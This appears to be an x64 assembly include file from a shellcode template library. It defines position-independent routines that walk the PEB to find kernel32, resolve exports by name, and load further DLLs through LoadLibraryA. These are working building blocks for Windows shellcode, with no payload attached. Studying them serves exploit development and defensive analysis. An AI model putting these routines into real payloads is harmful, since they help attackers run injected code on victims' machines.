; resolver.inc — shared x64 position-independent building blocks for winpwn
; shellcraft templates: find kernel32's base via the PEB (no hardcoded
; addresses) and resolve any export by name (no hashing, just a linear
; name-table scan — simple, auditable, and plenty fast for a handful of
; one-shot resolutions).
;
; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
; args in RCX/RDX, result in RAX. Both routines preserve every
; non-volatile register they touch, so callers can keep values live in
; r12-r15 across calls to either of these.

; get_kernel32_base() -> RAX = kernel32.dll base address
;
; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
; fixed load order is the same trick essentially every public Windows x64
; shellcode relies on.
get_kernel32_base:
    mov rax, [gs:0x60]      ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
    mov rax, [rax+0x18]     ; PEB->Ldr
    mov rax, [rax+0x20]     ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
    mov rax, [rax]          ; entry0.Flink -> entry1 (ntdll.dll)
    mov rax, [rax]          ; entry1.Flink -> entry2 (kernel32.dll)
    mov rax, [rax+0x20]     ; entry2.DllBase  (DllBase sits 0x20 past InMemoryOrderLinks)
    ret

; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
;   -> RAX = absolute address of the export, or 0 if not found.
;
; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
; entry against the target string, then follows AddressOfNameOrdinals and
; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
; DataDirectory[0] (export table) offset for PE32+.
find_export:
    push r12
    push r13
    push r14
    push r15
    push rsi
    push rdi
    push rbx

    mov r12, rcx            ; r12 = module base (preserved for the whole routine)
    mov r13, rdx            ; r13 = target name pointer (preserved)

    mov eax, [r12+0x3C]     ; e_lfanew
    add rax, r12            ; rax = NT header VA
    mov eax, [rax+0x88]     ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
    add rax, r12
    mov r14, rax            ; r14 = export directory VA

    mov ebx, [r14+0x18]     ; ebx = NumberOfNames
    mov r9d,  [r14+0x20]    ; AddressOfNames RVA
    add r9, r12             ; r9  = AddressOfNames VA  (array of DWORD RVAs -> name strings)
    mov r10d, [r14+0x24]    ; AddressOfNameOrdinals RVA
    add r10, r12            ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
    mov r11d, [r14+0x1C]    ; AddressOfFunctions RVA
    add r11, r12            ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)

    xor r15, r15            ; r15 = loop index i

.loop:
    cmp r15, rbx
    jge .notfound

    mov eax, [r9 + r15*4]   ; nameRVA for entry i
    add rax, r12
    mov rsi, rax            ; rsi = candidate name VA
    mov rdi, r13            ; rdi = target name VA (reset every attempt)

.cmp_loop:
    mov al, [rsi]
    mov cl, [rdi]
    cmp al, cl
    jne .next
    test al, al
    je .found               ; both hit NUL with every byte equal -> match
    inc rsi
    inc rdi
    jmp .cmp_loop

.next:
    inc r15
    jmp .loop

.found:
    movzx rax, word [r10 + r15*2]  ; ordinal index for entry i
    mov eax, [r11 + rax*4]          ; function RVA
    add rax, r12                     ; absolute address
    jmp .done

.notfound:
    xor rax, rax

.done:
    pop rbx
    pop rdi
    pop rsi
    pop r15
    pop r14
    pop r13
    pop r12
    ret

; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
;   -> RAX = absolute address of the export, or 0 on any failure.
;
; find_export alone only works if the target module is *already* loaded
; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
; in a plain console process. When RDX is 0 this is exactly find_export
; (the function is assumed already loaded at the module base in RCX).
; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
; (itself just another find_export call) and called to load-or-fetch the
; named module, then find_export resolves R8 inside *that* module's base.
resolve_export:
    push r12        ; kernel32 base
    push r13        ; dll name ptr (or 0)
    push r14        ; func name ptr
    push rbp        ; stash pre-align rsp, same pattern as winexec_x64.asm's start
    mov rbp, rsp
    and rsp, ~0xF

    mov r12, rcx
    mov r13, rdx
    mov r14, r8

    test r13, r13
    jnz .need_loadlibrary

    mov rcx, r12
    mov rdx, r14
    call find_export
    jmp .resolve_done

.need_loadlibrary:
    mov rcx, r12
    lea rdx, [rel name_loadlibrarya]
    call find_export
    test rax, rax
    jz .resolve_fail

    mov rcx, r13        ; LoadLibraryA(lpLibFileName)
    sub rsp, 0x20       ; shadow space required before any WinAPI call
    call rax
    add rsp, 0x20
    test rax, rax
    jz .resolve_fail

    mov rcx, rax        ; the newly (or already) loaded module's base
    mov rdx, r14
    call find_export
    jmp .resolve_done

.resolve_fail:
    xor rax, rax

.resolve_done:
    mov rsp, rbp
    pop rbp
    pop r14
    pop r13
    pop r12
    ret

name_loadlibrarya: db "LoadLibraryA", 0
